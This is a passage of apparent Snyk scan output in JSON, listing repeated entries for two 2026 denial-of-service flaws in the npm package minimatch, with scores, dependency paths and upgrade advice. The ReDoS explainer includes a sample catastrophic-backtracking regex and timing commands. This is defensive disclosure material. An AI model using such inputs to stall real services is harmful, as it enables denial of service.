Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "@npmcli/arborist@9.4.0", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "@npmcli/arborist@9.9.3", "@npmcli/metavuln-calculator@9.0.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmdiff@8.1.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmdiff@8.1.14", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353389", "title": "Inefficient Algorithmic Complexity", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ "<3.1.3", ">=4.0.0 <4.2.5", ">=5.0.0 <5.1.8", ">=6.0.0 <6.2.2", ">=7.0.0 <7.4.8", ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "3.1.3", "4.2.5", "5.1.8", "6.2.2", "7.4.8", "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 5.9, "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:42.723499Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 5.9, "cvssVersion": "3.1", "modificationTime": "2026-02-27T07:22:25.114296Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Inefficient Algorithmic Complexity via the `matchOne` function. An attacker can cause significant delays in processing and stall the event loop by supplying specially crafted glob patterns containing multiple non-adjacent GLOBSTAR segments.\n## Remediation\nUpgrade `minimatch` to version 3.1.3, 4.2.5, 5.1.8, 6.2.2, 7.4.8, 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/0bf499aa45f5059b56809cc3b75ff3eafeb8d748)\n", "epssDetails": { "percentile": "0.47957", "probability": "0.00608", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27903" ], "CWE": [ "CWE-407" ], "GHSA": [ "GHSA-7r86-cg39-jmmj" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:12:16.643876Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:13:19Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:12:16.955036Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:42.723499Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmexec@10.2.3", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmexec@10.3.4", "@npmcli/arborist@9.9.3", "cacache@20.0.4", "glob@13.0.6", "minimatch@10.2.6" ], "isUpgradable": true, "isPatchable": false, "name": "minimatch", "version": "10.2.2" }, { "id": "SNYK-JS-MINIMATCH-15353387", "title": "Regular Expression Denial of Service (ReDoS)", "CVSSv3": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "credit": [ "dolevmiz1" ], "semver": { "vulnerable": [ ">=8.0.0 <8.0.6", ">=9.0.0 <9.0.7", ">=10.0.0 <10.2.3" ] }, "exploit": "Proof of Concept", "fixedIn": [ "8.0.6", "9.0.7", "10.2.3" ], "patches": [], "insights": { "triageAdvice": null }, "language": "js", "severity": "high", "cvssScore": 8.7, "functions": [], "malicious": false, "isDisputed": false, "moduleName": "minimatch", "references": [ { "url": "https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce", "title": "GitHub Commit" } ], "cvssDetails": [ { "assigner": "Red Hat", "severity": "medium", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 6.5, "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "assigner": "SUSE", "severity": "high", "cvssV3Vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "cvssV3BaseScore": 7.5, "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "cvssSources": [ { "type": "primary", "vector": "CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 8.7, "cvssVersion": "4.0", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H/E:P", "assigner": "Snyk", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-10-15T14:05:43.062666Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H", "assigner": "Red Hat", "severity": "medium", "baseScore": 6.5, "cvssVersion": "3.1", "modificationTime": "2026-03-03T05:30:32.172942Z" }, { "type": "secondary", "vector": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "assigner": "SUSE", "severity": "high", "baseScore": 7.5, "cvssVersion": "3.1", "modificationTime": "2026-07-28T11:07:18.656607Z" } ], "description": "## Overview\n[minimatch](https://www.npmjs.com/package/minimatch) is a minimal matching utility.\n\nAffected versions of this package are vulnerable to Regular Expression Denial of Service (ReDoS). An attacker can cause excessive resource consumption and application unresponsiveness by supplying specially crafted nested `extglob` patterns that trigger catastrophic backtracking in the regular expression engine.\n\n## Details\n\nDenial of Service (DoS) describes a family of attacks, all aimed at making a system inaccessible to its original and legitimate users. There are many types of DoS attacks, ranging from trying to clog the network pipes to the system by generating a large volume of traffic from many machines (a Distributed Denial of Service - DDoS - attack) to sending crafted requests that cause a system to crash or take a disproportional amount of time to process.\n\nThe Regular expression Denial of Service (ReDoS) is a type of Denial of Service attack. Regular expressions are incredibly powerful, but they aren't very intuitive and can ultimately end up making it easy for attackers to take your site down.\n\nLet’s take the following regular expression as an example:\n```js\nregex = /A(B|C+)+D/\n```\n\nThis regular expression accomplishes the following:\n- `A` The string must start with the letter 'A'\n- `(B|C+)+` The string must then follow the letter A with either the letter 'B' or some number of occurrences of the letter 'C' (the `+` matches one or more times). The `+` at the end of this section states that we can look for one or more matches of this section.\n- `D` Finally, we ensure this section of the string ends with a 'D'\n\nThe expression would match inputs such as `ABBD`, `ABCCCCD`, `ABCBCCCD` and `ACCCCCD`\n\nIt most cases, it doesn't take very long for a regex engine to find a match:\n\n```bash\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCD\")'\n0.04s user 0.01s system 95% cpu 0.052 total\n\n$ time node -e '/A(B|C+)+D/.test(\"ACCCCCCCCCCCCCCCCCCCCCCCCCCCCX\")'\n1.79s user 0.02s system 99% cpu 1.812 total\n```\n\nThe entire process of testing it against a 30 characters long string takes around ~52ms. But when given an invalid string, it takes nearly two seconds to complete the test, over ten times as long as it took to test a valid string. The dramatic difference is due to the way regular expressions get evaluated.\n\nMost Regex engines will work very similarly (with minor differences). The engine will match the first possible way to accept the current character and proceed to the next one. If it then fails to match the next one, it will backtrack and see if there was another way to digest the previous character. If it goes too far down the rabbit hole only to find out the string doesn’t match in the end, and if many characters have multiple valid regex paths, the number of backtracking steps can become very large, resulting in what is known as _catastrophic backtracking_.\n\nLet's look at how our expression runs into this problem, using a shorter string: \"ACCCX\". While it seems fairly straightforward, there are still four different ways that the engine could match those three C's:\n1. CCC\n2. CC+C\n3. C+CC\n4. C+C+C.\n\nThe engine has to try each of those combinations to see if any of them potentially match against the expression. When you combine that with the other steps the engine must take, we can use [RegEx 101 debugger](https://regex101.com/debugger) to see the engine has to take a total of 38 steps before it can determine the string doesn't match.\n\nFrom there, the number of steps the engine must use to validate a string just continues to grow.\n\n| String | Number of C's | Number of steps |\n| -------|-------------:| -----:|\n| ACCCX | 3 | 38\n| ACCCCX | 4 | 71\n| ACCCCCX | 5 | 136\n| ACCCCCCCCCCCCCCX | 14 | 65,553\n\n\nBy the time the string includes 14 C's, the engine has to take over 65,000 steps just to see if the string is valid. These extreme situations can cause them to work very slowly (exponentially related to input size, as shown above), allowing an attacker to exploit this and can cause the service to excessively consume CPU, resulting in a Denial of Service.\n\n## Remediation\nUpgrade `minimatch` to version 8.0.6, 9.0.7, 10.2.3 or higher.\n## References\n- [GitHub Commit](https://github.com/isaacs/minimatch/commit/11d0df6165d15a955462316b26d52e5efae06fce)\n", "epssDetails": { "percentile": "0.42587", "probability": "0.00516", "modelVersion": "v2026.06.15" }, "identifiers": { "CVE": [ "CVE-2026-27904" ], "CWE": [ "CWE-1333" ], "GHSA": [ "GHSA-23c5-xmqv-rm74" ] }, "packageName": "minimatch", "proprietary": false, "creationTime": "2026-02-26T08:02:21.057843Z", "functions_new": [], "alternativeIds": [], "disclosureTime": "2026-02-26T03:11:41Z", "exploitDetails": { "sources": [ "Snyk" ], "maturityLevels": [ { "type": "secondary", "level": "Proof of Concept", "format": "CVSSv3" }, { "type": "primary", "level": "Proof of Concept", "format": "CVSSv4" } ] }, "packageManager": "npm", "publicationTime": "2026-02-26T08:02:21.526254Z", "severityBasedOn": "CVSS", "modificationTime": "2026-10-15T14:05:43.062666Z", "socialTrendAlert": false, "severityWithCritical": "high", "from": [ "lib@*", "npm@11.11.0", "libnpmfund@7.0.17", "@npmcli/arborist@9.4.0", "cacache@20.0.3", "glob@13.0.6", "minimatch@10.2.2" ], "upgradePath": [ false, "npm@11.11.0", "libnpmfund@7.0.28", "@npmcli/arborist@9.9.3", "cacache@20.0.4", 